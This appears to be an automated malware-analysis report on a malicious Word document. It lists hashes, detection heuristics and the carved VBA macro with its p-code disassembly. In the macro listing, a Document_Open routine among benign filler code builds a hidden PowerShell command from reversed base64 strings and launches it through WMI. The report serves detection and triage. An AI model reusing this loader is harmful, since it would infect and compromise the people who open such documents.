Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd45cb0c8fe71304…

MALICIOUS

Office (OLE)

158.0 KB Created: 2020-03-12 02:04:00 Authoring application: Microsoft Office Word First seen: 2021-03-01
MD5: f804ef1b1d39eaf0d9b5d433cc3f1ccd SHA-1: 87020778d01880e5951c84cc8558c415714a7384 SHA-256: dd45cb0c8fe71304fdfc02e257099d6979e5c35a2cafeaedef713f807a10e42e
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-7643873-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7643873-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set Jariaie = GetObject("dksjdkfj")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Jariaie = GetObject("dksjdkfj")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.firstlegal.com In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50145 bytes
SHA-256: b19b1d84c0d881d0ffd93d03dce45a0d217a08e3e7929b38dc24af8e945d5cc0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Connect()
   
   'if database not found then create new database
1
    If Dir(Database) = vbNullString Then
        On Error GoTo 1
       Call CreateDatabase
        Exit Sub
    End If
   
   'Create Connection with Access Database
  
   If Conn.State = 0 Then
        Conn.ConnectionString = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" & Database & _
        ";Jet OLEDB:Database Password=" & Password
        Conn.Open
   End If

   
End Sub
Public Sub Disconnect()
    If Conn.State = 1 Then
        Conn.Close
    End If
End Sub
Private Sub CreateDatabase()
    Dim obj As Access.Application
    Set obj = New Access.Application
    obj.DBEngine.CreateDatabase Database, DB_LANG_GENERAL
    'create password db
    
    Set mydb = obj.DBEngine.OpenDatabase(Database, True)
    mydb.newpassword "", Password
    obj.Quit
    
    Call Connect
End Sub

Public Sub Execute(Query As String, Optional Prompt As Boolean = False)
    On Error Resume Next
    Conn.Execute (Query)
    
    If Err.Number <> 0 And Prompt Then
        MsgBox Err.Description
    End If
    
End Sub
Sub Document_Open()
Akela
End Sub

Sub Akela()
On Error GoTo Med
Set Jariaie = GetObject("dksjdkfj")
Med:
Call GetObject(StrReverse("ss" + "ec" + "orP_" + "23niW" + ":2" + "vmi" + "c\t" + "oor:" + "stm" + "gmn" + "iw")). _
Create(StrReverse("=AgbAoGA1AwaAIDAgAAdAMHAp" + "BATAQHAuBQZA0GA1BwZAIHAB" + "BQLAACAzBQOAsGA3AgYAACAzBwcAUGAjBwbAIHAQBQLAQHAyBQYAQHATBAIAACA7AgbAoGA1Awa" + "AIDAgAwNAQGAxBAdAMGAgAQZAQGAvBwYAUGAkBQLAACAsBQaAQHA1BAdAIHAlBwYAACA7AgIAA" + "FANBQRAQFA6AgdA4GAlBAJAICAgAAaAQHAhBAUA0CAgAgbA8GApBAdAEGAjBwbAwEAtAAdAUGATBAIAsDAiAQbA8GAjBgLAgFAzBgRA8EAzBAXAAFANBQ" + "RAQFA6AgdA4GAlBAJAICAsAgIAcDAkBQcAQHAjBAXAAFANBQR" + "AQFA6AgdA4GAlBAJAICAsAgIA0GAvBwYA4CAzBQOAsGA3AgYAwFAQBQTAUEAUBgOAYHAuBQZAQCAiAAIA4GAvBQaAQHAhBgbAkGA0BwcAUGAEBQLAACA0BQYAQGAuAAWAMHAGBwTAMHAvAQZAQHApBwcA4CA5AAcAIHAvBw" + "YA8CAvAgOAAHA0BAdAgGAsAAdAEG" + "AkBgLAEEAHBQZAQFAvAQZAQHApBwcA4CA5AAcAIHAvBwYA8CAvAgOAAHA0BAdAgGAsAAdAEGAkBgLAEEAFBQWAUGALBwLAUGA0BQaAMHAuAQOAAHAyBwbAMGAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdA" + "kGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVA" + _
"MHA0BQaAIEAgAQZAwGA1BAZA8GANBQLAQHAyBwbAAHAtBQS e- ne" + "ddi" + "h ely" + "tswodn" + "iw- " + Replace("l" + "l%" + "h" + "sr" + "%w" + "op", "%", "e")), Null, Null, Refah)
End Sub

Private Sub MinButton_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    MinButton.BackColor = &HE0E0E0
End Sub

Private Sub TitleBar_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    If Button = 1 Then
        TitleText.ControlTipText = "DoubleClick Untuk Reset Posisi"
        If isMin Then
            myForm.Move myForm.Left + (X - iX), myForm.Left + (Y - iY)
        Else
            myForm.Move myForm.Left + (X - iX), myForm.Top + (Y - iY)
        End If
    Else
        iX = X
        iY = Y
    End If
    CloseButton.BackColor = &HC0&
    MinButton.BackColor = TitleBar.BackColor
End Sub

Sub homework()


Dim ws As Worksheet
Dim ticker As String
Dim volume As Long
Dim open_year As Double
Dim close_year As Double
Dim yearly_change As Double
Dim percent_change As Double
Dim Summary_Table_Row As Integer

On Error Resume Next

For Each ws In ThisWorkbook.Worksheets

    ws.Cells(1, 9).Value = "Ticker"
    ws.Cells(1, 10).Value = "Yearly Change"
    ws.Cells(1, 11).Value = "Percent Change"
    ws.Cells(1, 12).Value = "Total Stock Volume"
    
    
    Summary_Table_Row = 2

    volume = 0

        For I = 2 To ws.UsedRange.Rows.Count
             If ws.Cells(I + 1, 1).Value <> ws.Cells(I, 1).Value Then
            
         
            ticker = ws.Cells(I, 1).Value
            volume = ws.Cells(I, 7).Value
            Sum = volume + Sum

            open_year = ws.Cells(I, 3).Value
            close_year = ws.Cells(I, 6).Value

            yearly_change = close_year - open_year
            percent_change = (close_year - open_year) / close_year

            ws.Cells(Summary_Table_Row, 9).Value = ticker
            ws.Cells(Summary_Table_Row, 10).Value = yearly_change
            ws.Cells(Summary_Table_Row, 11).Value = percent_change
            ws.Cells(Summary_Table_Row, 12).Value = Sum
            Summary_Table_Row = Summary_Table_Row + 1
            Sum = 0

            Else
            volume = ws.Cells(I, 7).Value
            Sum = volume + Sum
        
        End If


    Next I
    
ws.Columns("K").NumberFormat = "0.00%"


    Dim rg As Range
    Dim g As Long
    Dim c As Long
    Dim color_cell As Range
    
    Set rg = ws.Range("J2", Range("J2").End(xlDown))
    c = rg.Cells.Count
    
    For g = 1 To c
    Set color_cell = rg(g)
    Select Case color_cell
        Case Is >= 0
            With color_cell
                .Interior.Color = vbGreen
            End With
        Case Is < 0
            With color_cell
                .Interior.Color = vbRed
            End With
       End Select
    Next g

Next ws

End Sub

Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
    If Value = False Then
        Call Err.Raise(9999, , Message)
    End If
End Sub

Private Sub testAssert()
    Call Assert(False, "???")
End Sub

Public Function Check(ByVal A As Variant, ByVal B As Variant) As Boolean
    Check = (A = B)
    If Check = False Then
        Call MsgBox("A != B" + vbCrLf + _
            "A = " + CStr(A) + vbCrLf + _
            "B = " + CStr(B))
    End If
End Function

'----------------------------------------
'?OrValue
'----------------------------------------
Public Function OrValue(ByVal Value As Variant, ParamArray Values() As Variant) As Boolean
    OrValue = False
    Dim I As Long
    For I = LBound(Values) To UBound(Values)
        If Value = Values(I) Then
            OrValue = True
            Exit For
        End If
    Next
End Function

Private Sub testOrValue()
    Call Check(True, OrValue(10, 20, 30, 40, 10))
    Call Check(False, OrValue(50, 20, 30, 40, 10))
End Sub

'----------------------------------------
'?IsNothing/IsNotNothing
'----------------------------------------
Public Function IsNothing(ByRef Value As Object) As Boolean
    IsNothing = (Value Is Nothing)
End Function

Public Function IsNotNothing(ByRef Value As Object) As Boolean
    IsNotNothing = Not (Value Is Nothing)
End Function

'----------------------------------------
'???????????????????
'----------------------------------------
Function IfEmptyStr(ByVal Value As String, ByVal EmptyStrCaseValue As String) As String
    Dim Result As String: Result = ""
    If Value = "" Then
        Result = EmptyStrCaseValue
    Else
        Result = Value
    End If
    IfEmptyStr = Result
End Function

'----------------------------------------
'??????
'----------------------------------------

'----------------------------------------
'??????????????????
'----------------------------------------
Public Sub SetValue(ByRef Variable, ByVal Value)
    If IsObject(Value) Then
        Set Variable = Value
    Else
        Variable = Value
    End If
End Sub

Private Sub testSetValue()
    Dim A As Long
    A = 1
    Call SetValue(A, 2)
    Call Check(2, A)

    Dim B As Object
    'Set B = fso
    Call SetValue(B, fso)
    Call Check("test.txt", B.GetFileName("C:\temp\test.txt"))
End Sub


'----------------------------------------
'?Long
'----------------------------------------
Public Function IsLong(Value As String) As Boolean
    Dim Result As Boolean: Result = False
    If IsNumeric(Value) Then
        If CLng(Value) = CDbl(Value) Then
            Result = True
        End If
    End If
    IsLong = Result
End Function

Private Sub testIsLong()
    Call Check(True, IsLong("123"))
    Call Check(False, IsLong("12a"))
    Call Check(False, IsLong("123.4"))

End Sub


Private Sub SetSideNav()
    Set SideNav = myForm.Controls.Add("forms.Frame.1")
    With SideNav
        .Move 0, 30, MenuWidth, myForm.Height - 30
        .SpecialEffect = fmSpecialEffectFlat
        
        If Display.BackColor = &H8000000F Then .BackColor = &HFFBD75
        .BackColor = Display.BackColor
                  
        .ForeColor = myForm.BorderColor
         
    End With
    ReDim mButtons(Display.Pages.Count)
    For I = 0 To Display.Pages.Count - 1
        AddMenu Display.Pages(I).Caption, Display.Pages(I)
    Next
End Sub
Private Sub AddMenu(MenuName As String, Page As Object)
    Dim fm As MSForms.Frame
    Set fm = SideNav.Controls.Add("forms.frame.1")
    With fm
        .Move 0, (Page.Index * 30) + 10, SideNav.Width, 30
        .SpecialEffect = fmSpecialEffectFlat
    End With
    
    Dim mn As MSForms.Label
    Set mn = fm.Controls.Add("forms.label.1")
    With mn
        .Tag = Page.Index
        .Caption = Chr(160) & MenuName
        .Picture = Page.Picture
        .Move 5, 5, SideNav.Width
        .ForeColor = myForm.ForeColor
        .Font.Name = Display.Font.Name
        Page.Picture = Nothing
        .PicturePosition = fmPicturePositionLeftCenter
        .Font.Size = 12
        
        .AutoSize = True
        .AutoSize = False
        .Width = .Width + 4
        .BackStyle = fmBackStyleTransparent
        
        
    End With
    
    Set mButtons(Page.Index) = New clsForm
    With mButtons(Page.Index)
        Set .Main = Me
        Set .btnMenu = mn
        Set .frameMenu = fm
    End With
End Sub

Private Sub frameMenu_Click()
    Call btnMenu_Click
End Sub
Private Sub btnMenu_Click()
    Main.Display.Value = btnMenu.Tag
    Main.TitleText.Caption = Main.TitleText.Tag & " - " & btnMenu.Caption
    
    For Each ctr In Main.SideNav.Controls
        ctr.BackColor = Main.SideNav.BackColor
    Next
    frameMenu.BackColor = Main.SideNav.ForeColor
    Main.Wellcome.Visible = False
End Sub

Private Sub SetDisplay()
    With Display
        .Style = fmTabStyleNone
        .Move MenuWidth, 30, TitleBar.Width - MenuWidth, myForm.Height - TitleBar.Height
        SkalaX = .Width - SkalaX
        SkalaY = .Height - SkalaY
        Call SetSkala
    End With
    Set Wellcome = myForm.Controls.Add("forms.Frame.1")
    With Wellcome
        '.Style = fmTabStyleNone
        .Move MenuWidth, 30, TitleBar.Width - MenuWidth, myForm.Height - TitleBar.Height
        .PictureSizeMode = fmPictureSizeModeStretch
        .Picture = myForm.Picture
    End With
    
End Sub

Sub SetSkala()
    
    For I = 0 To TotalSkala - 1
        
        With ControlSkala(I)
            If .RightSkala And .LeftSkala Then
                .CtrSkala.Width = .CtrSkala.Width + SkalaX
            ElseIf .RightSkala And .LeftSkala = False Then
                .CtrSkala.Left = .CtrSkala.Left + SkalaX
            ElseIf .RightSkala = False And .LeftSkala = False Then
                .CtrSkala.Left = .CtrSkala.Left + (SkalaX / 2)
            End If
           
            If .BottomSkala And .TopSkala Then
                .CtrSkala.Height = .CtrSkala.Height + SkalaY + 17
            ElseIf .BottomSkala And .TopSkala = False Then
                .CtrSkala.Top = .CtrSkala.Top + SkalaY + 17
            ElseIf .BottomSkala = False And .TopSkala = False Then
                .CtrSkala.Top = .CtrSkala.Top + (SkalaY / 2)
            End If
        End With
    Next
    
End Sub
Public Sub LayoutX(ListControls As Variant)
    For Each c In ListControls
        Layout c, , , , False
    Next
End Sub
Public Sub LayoutY(ListControls As Variant)
    For Each c In ListControls
        Layout c, , , False, True
    Next
End Sub
Public Sub LayoutXY(ListControl As Variant)
    
    For Each c In ListControl
       Layout c
    Next
End Sub
Public Sub LayoutBottomLeft(ListControl As Variant)
    
    For Each c In ListControl
        Layout c, , False, False
    Next
End Sub
Public Sub LayoutBottomRight(ListControl As Variant)
    For Each c In ListControl
        Layout c, False, False
    Next
End Sub
Public Sub LayoutTopRight(ListControl As Variant)
    For Each c In ListControl
        Layout c, False, , True, False
    Next
End Sub
Public Sub Layout(Control As Variant, Optional Left As Boolean = True, Optional Top As Boolean = True, Optional Right As Boolean = True, Optional Bottom As Boolean = True)
       ' MsgBox Len(ControlSkala)
       TotalSkala = TotalSkala + 1
       
       Set ControlSkala(TotalSkala - 1) = New clsForm
       With ControlSkala(TotalSkala - 1)
           Set .CtrSkala = Control
                .LeftSkala = Left
                .TopSkala = Top
                .RightSkala = Right
                .BottomSkala = Bottom
       End With
        
End Sub

Sub RemoveTitleBar(frm As Object)
    Dim lStyle          As Long
    Dim hMenu           As Long
    Dim mhWndForm       As Long
     
    If Val(Application.Version) < 9 Then
        mhWndForm = FindWindow("ThunderXFrame", frm.Caption) 'for Office 97 version
    Else
        mhWndForm = FindWindow("ThunderDFrame", frm.Caption) 'for office 2000 or above
    End If
    lStyle = GetWindowLong(mhWndForm, -16)
    lStyle = lStyle And Not &HC00000
    SetWindowLong mhWndForm, -16, lStyle
    DrawMenuBar mhWndForm
End Sub

Private Sub AddTitleBar()
    
    Set TitleBar = myForm.Controls.Add("forms.Frame.1")
    With TitleBar
        .Move 0, 0, myForm.InsideWidth, 30
        .SpecialEffect = fmSpecialEffectFlat
        
        .MousePointer = fmMousePointerSizeAll
        If myForm.BackColor = &H8000000F Then myForm.BackColor = &HA86604
        .BackColor = myForm.BackColor
    End With
End Sub

Private Sub AddTitleText()
    Set TitleText = TitleBar.Controls.Add("forms.label.1")
    With TitleText
        Set .Font = myForm.Font
        .Move 5, 5, TitleBar.Width
        .Caption = myForm.Caption
        .Tag = myForm.Caption
        .Font.Size = 14
        .ForeColor = &HFFFFFF
        .MousePointer = fmMousePointerArrow
    End With
End Sub

Private Sub AddCloseButton()
    Set CloseButton = TitleBar.Controls.Add("forms.label.1")
    With CloseButton
       .Caption = "X"
       .Move TitleBar.Width - 30, 0, 20
       .ForeColor = &HFFFFFF
       .BackColor = &HC0&
       .TextAlign = fmTextAlignCenter
       .Font.Size = 12
       .Font.Name = "Arial"
       .Font.Bold = True
       .MousePointer = fmMousePointerArrow
    End With
End Sub
Private Sub AddMinButton()
    Set MinButton = TitleBar.Controls.Add("forms.label.1")
    With MinButton
       .Caption = "_"
       .Move TitleBar.Width - 53, 0, 20
       .ForeColor = &HFFFFFF
       .BackColor = TitleBar.BackColor
       
       .TextAlign = fmTextAlignCenter
       .Font.Size = 12
       .Font.Name = "Arial"
       .Font.Bold = True
       .MousePointer = fmMousePointerArrow
    End With
End Sub
Private Sub CloseButton_Click()
    Unload myForm
End Sub

Private Sub CloseButton_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    CloseButton.BackColor = &HFF&
End Sub

' Processing file: /opt/analyzer/scan_staging/9c96d1bcd643482baedb165d470634e8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 29088 bytes
' Line #0:
' 	FuncDefn (Public Sub Connect())
' Line #1:
' Line #2:
' 	QuoteRem 0x0003 0x002E "if database not found then create new database"
' Line #3:
' 	LineNum 1 
' Line #4:
' 	Ld Database 
' 	ArgsLd Dir 0x0001 
' 	Ld vbNullString 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	OnError 1 
' Line #6:
' 	ArgsCall (Call) CreateDatabase 0x0000 
' Line #7:
' 	ExitSub 
' Line #8:
' 	EndIfBlock 
' Line #9:
' Line #10:
' 	QuoteRem 0x0003 0x0026 "Create Connection with Access Database"
' Line #11:
' Line #12:
' 	Ld Conn 
' 	MemLd State 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	LineCont 0x0004 08 00 08 00
' 	LitStr 0x002E "Provider=Microsoft.ACE.OLEDB.12.0;Data Source="
' 	Ld Database 
' 	Concat 
' 	LitStr 0x001D ";Jet OLEDB:Database Password="
' 	Concat 
' 	Ld Password 
' 	Concat 
' 	Ld Conn 
' 	MemSt ConnectionString 
' Line #14:
' 	Ld Conn 
' 	ArgsMemCall Open 0x0000 
' Line #15:
' 	EndIfBlock 
' Line #16:
' Line #17:
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Public Sub Disconnect())
' Line #20:
' 	Ld Conn 
' 	MemLd State 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #21:
' 	Ld Conn 
' 	ArgsMemCall Close 0x0000 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	EndSub 
' Line #24:
' 	FuncDefn (Private Sub CreateDatabase())
' Line #25:
' 	Dim 
' 	VarDefn obj (As <crash>)
' Line #26:
' 	SetStmt 
' 	New <crash>
' 	Set obj 
' Line #27:
' 	Ld Database 
' 	Ld DB_LANG_GENERAL 
' 	Ld obj 
' 	MemLd DBEngine 
' 	ArgsMemCall CreateDatabase 0x0002 
' Line #28:
' 	QuoteRem 0x0004 0x0012 "create password db"
' Line #29:
' Line #30:
' 	SetStmt 
' 	Ld Database 
' 	LitVarSpecial (True)
' 	Ld obj 
' 	MemLd DBEngine 
' 	ArgsMemLd OpenDatabase 0x0002 
' 	Set mydb 
' Line #31:
' 	LitStr 0x0000 ""
' 	Ld Password 
' 	Ld mydb 
' 	ArgsMemCall newpassword 0x0002 
' Line #32:
' 	Ld obj 
' 	ArgsMemCall Quit 0x0000 
' Line #33:
' Line #34:
' 	ArgsCall (Call) Connect 0x0000 
' Line #35:
' 	EndSub 
' Line #36:
' Line #37:
' 	ConstFuncExpr 
' 	LitVarSpecial (False)
' 	FuncDefn (Public Sub Execute(Query As String, Optional Prompt As Boolean))
' Line #38:
' 	OnError (Resume Next) 
' Line #39:
' 	Ld Query 
' 	Paren 
' 	Ld Conn 
' 	ArgsMemCall Execute 0x0001 
' Line #40:
' Line #41:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0000 
' 	Ne 
' 	Ld Prompt 
' 	And 
' 	IfBlock 
' Line #42:
' 	Ld Err 
' 	MemLd Description 
' 	ArgsCall MsgBox 0x0001 
' Line #43:
' 	EndIfBlock 
' Line #44:
' Line #45:
' 	EndSub 
' Line #46:
' 	FuncDefn (Sub Document_Open())
' Line #47:
' 	ArgsCall testIsLong 0x0000 
' Line #48:
' 	EndSub 
' Line #49:
' Line #50:
' 	FuncDefn (Sub testIsLong())
' Line #51:
' 	OnError _B_var_On 
' Line #52:
' 	SetStmt 
' 	LitStr 0x0008 "dksjdkfj"
' 	ArgsLd GetObject 0x0001 
' 	Set _B_var_Refah 
' Line #53:
' 	Label _B_var_On 
' Line #54:
' 	LineCont 0x0008 1D 00 00 00 35 00 00 00
' 	LitStr 0x0019 "=AgbAoGA1AwaAIDAgAAdAMHAp"
' 	LitStr 0x0018 "BATAQHAuBQZA0GA1BwZAIHAB"
' 	Add 
' 	LitStr 0x004B "BQLAACAzBQOAsGA3AgYAACAzBwcAUGAjBwbAIHAQBQLAQHAyBQYAQHATBAIAACA7AgbAoGA1Awa"
' 	Add 
' 	LitStr 0x004A "AIDAgAwNAQGAxBAdAMGAgAQZAQGAvBwYAUGAkBQLAACAsBQaAQHA1BAdAIHAlBwYAACA7AgIAA"
' 	Add 
' 	LitStr 0x0075 "FANBQRAQFA6AgdA4GAlBAJAICAgAAaAQHAhBAUA0CAgAgbA8GApBAdAEGAjBwbAwEAtAAdAUGATBAIAsDAiAQbA8GAjBgLAgFAzBgRA8EAzBAXAAFANBQ"
' 	Add 
' 	LitStr 0x0031 "RAQFA6AgdA4GAlBAJAICAsAgIAcDAkBQcAQHAjBAXAAFANBQR"
' 	Add 
' 	LitStr 0x00A7 "AQFA6AgdA4GAlBAJAICAsAgIA0GAvBwYA4CAzBQOAsGA3AgYAwFAQBQTAUEAUBgOAYHAuBQZAQCAiAAIA4GAvBQaAQHAhBgbAkGA0BwcAUGAEBQLAACA0BQYAQGAuAAWAMHAGBwTAMHAvAQZAQHApBwcA4CA5AAcAIHAvBw"
' 	Add 
' 	LitStr 0x001C "YA8CAvAgOAAHA0BAdAgGAsAAdAEG"
' 	Add 
' 	LitStr 0x00BE "AkBgLAEEAHBQZAQFAvAQZAQHApBwcA4CA5AAcAIHAvBwYA8CAvAgOAAHA0BAdAgGAsAAdAEGAkBgLAEEAFBQWAUGALBwLAUGA0BQaAMHAuAQOAAHAyBwbAMGAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdA"
' 	Add 
' 	LitStr 0x0030 "kGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVA"
' 	Add 
' 	LitStr 0x0035 "MHA0BQaAIEAgAQZAwGA1BAZA8GANBQLAQHAyBwbAAHAtBQS e- ne"
' 	Add 
' 	LitStr 0x0003 "ddi"
' 	Add 
' 	LitStr 0x0005 "h ely"
' 	Add 
' 	LitStr 0x0006 "tswodn"
' 	Add 
' 	LitStr 0x0004 "iw- "
' 	Add 
' 	LitStr 0x0001 "l"
' 	LitStr 0x0002 "l%"
' 	Add 
' 	LitStr 0x0001 "h"
' 	Add 
' 	LitStr 0x0002 "sr"
' 	Add 
' 	LitStr 0x0002 "%w"
' 	Add 
' 	LitStr 0x0002 "op"
' 	Add 
' 	LitStr 0x0001 "%"
' 	LitStr 0x0001 "e"
' 	ArgsLd _B_var_R 0x0003 
' 	Add 
' 	ArgsLd StrReverse 0x0001 
' 	LitVarSpecial (Null)
' 	LitVarSpecial (Null)
' 	Ld Refah 
' 	LitStr 0x0002 "ss"
' 	LitStr 0x0002 "ec"
' 	Add 
' 	LitStr 0x0004 "orP_"
' 	Add 
' 	LitStr 0x0005 "23niW"
' 	Add 
' 	LitStr 0x0002 ":2"
' 	Add 
' 	LitStr 0x0003 "vmi"
' 	Add 
' 	LitStr 0x0003 "c\t"
' 	Add 
' 	LitStr 0x0004 "oor:"
' 	Add 
' 	LitStr 0x0003 "stm"
' 	Add 
' 	LitStr 0x0003 "gmn"
' 	Add 
' 	LitStr 0x0002 "iw"
' 	Add 
' 	ArgsLd StrReverse 0x0001 
' 	ArgsLd GetObject 0x0001 
' 	ArgsMemCall (Call) Create 0x0004 
' Line #55:
' 	EndSub 
' Line #56:
' Line #57:
' 	FuncDefn (Private Sub _B_var_Jariaie(ByVal CloseButton_MouseMove As Integer, ByVal Button As Integer, ByVal Shift As Single, ByVal X As Single))
' Line #58:
' 	LitHI4 0xE0E0 0x00E0 
' 	Ld AddMinButton 
' 	MemSt BackColor 
' Line #59:
' 	EndSub 
' Line #60:
' Line #61:
' 	FuncDefn (Private Sub MinButton_MouseMove(ByVal CloseButton_MouseMove As Integer, ByVal Button As Integer, ByVal Shift As Single, ByVal X As Single))
' Line #62:
' 	Ld CloseButton_MouseMove 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #63:
' 	LitStr 0x001E "DoubleClick Untuk Reset Posisi"
' 	Ld TitleText 
' 	MemSt TitleBar_MouseMove 
' Line #64:
' 	Ld ControlTipText 
' 	IfBlock 
' Line #65:
' 	Ld myForm 
' 	MemLd Left 
' 	Ld Shift 
' 	Ld isMin 
' 	Sub 
' 	Paren 
' 	Add 
' 	Ld myForm 
' 	MemLd Left 
' 	Ld X 
' 	Ld iX 
' 	Sub 
' 	Paren 
' 	Add 
' 	Ld myForm 
' 	ArgsMemCall Move 0x0002 
' Line #66:
' 	ElseBlock 
' Line #67:
' 	Ld myForm 
' 	MemLd Left 
' 	Ld Shift 
' 	Ld isMin 
' 	Sub 
' 	Paren 
' 	Add 
' 	Ld myForm 
' 	MemLd Top 
' 	Ld X 
' 	Ld iX 
' 	Sub 
' 	Paren 
' 	Add 
' 	Ld myForm 
' 	ArgsMemCall Move 0x0002 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	ElseBlock 
' Line #70:
' 	Ld Shift 
' 	St isMin 
' Line #71:
' 	Ld X 
' 	St iX 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	LitHI4 0x00C0 0x0000 
' 	Ld CloseButton 
' 	MemSt BackColor 
' Line #74:
' 	Ld TitleBar 
' 	MemLd BackColor 
' 	Ld AddMinButton 
' 	MemSt BackColor 
' Line #75:
' 	EndSub 
' Line #76:
' Line #77:
' 	FuncDefn (Sub iY())
' Line #78:
' Line #79:
' Line #80:
' 	Dim 
' 	VarDefn homework (As ws)
' Line #81:
' 	Dim 
' 	VarDefn Worksheet (As String)
' Line #82:
' 	Dim 
' 	VarDefn ticker (As Long)
' Line #83:
' 	Dim 
' 	VarDefn volume (As Double)
' Line #84:
' 	Dim 
' 	VarDefn open_year (As Double)
' Line #85:
' 	Dim 
' 	VarDefn close_year (As Double)
' Line #86:
' 	Dim 
' 	VarDefn yearly_change (As Double)
' Line #87:
' 	Dim 
' 	VarDefn percent_change (As Integer)
' Line #88:
' Line #89:
' 	OnError (Resume Next) 
' Line #90:
' Line #91:
' 	StartForVariable 
' 	Ld homework 
' 	EndForVariable 
' 	Ld Summary_Table_Row 
' 	MemLd ThisWorkbook 
' 	ForEach 
' Line #92:
' Line #93:
' 	LitStr 0x0006 "Ticker"
' 	LitDI2 0x0001 
' 	LitDI2 0x0009 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemSt Value 
' Line #94:
' 	LitStr 0x000D "Yearly Change"
' 	LitDI2 0x0001 
' 	LitDI2 0x000A 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemSt Value 
' Line #95:
' 	LitStr 0x000E "Percent Change"
' 	LitDI2 0x0001 
' 	LitDI2 0x000B 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemSt Value 
' Line #96:
' 	LitStr 0x0012 "Total Stock Volume"
' 	LitDI2 0x0001 
' 	LitDI2 0x000C 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemSt Value 
' Line #97:
' Line #98:
' Line #99:
' 	LitDI2 0x0002 
' 	St percent_change 
' Line #100:
' Line #101:
' 	LitDI2 0x0000 
' 	St ticker 
' Line #102:
' Line #103:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld homework 
' 	MemLd Cells 
' 	MemLd UsedRange 
' 	MemLd Count 
' 	For 
' Line #104:
' 	Ld I 
' 	LitDI2 0x0001 
' 	Add 
' 	LitDI2 0x0001 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemLd Value 
' 	Ld I 
' 	LitDI2 0x0001 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemLd Value 
' 	Ne 
' 	IfBlock 
' Line #105:
' Line #106:
' Line #107:
' 	Ld I 
' 	LitDI2 0x0001 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemLd Value 
' 	St Worksheet 
' Line #108:
' 	Ld I 
' 	LitDI2 0x0007 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemLd Value 
' 	St ticker 
' Line #109:
' 	Ld ticker 
' 	Ld Rows 
' 	Add 
' 	St Rows 
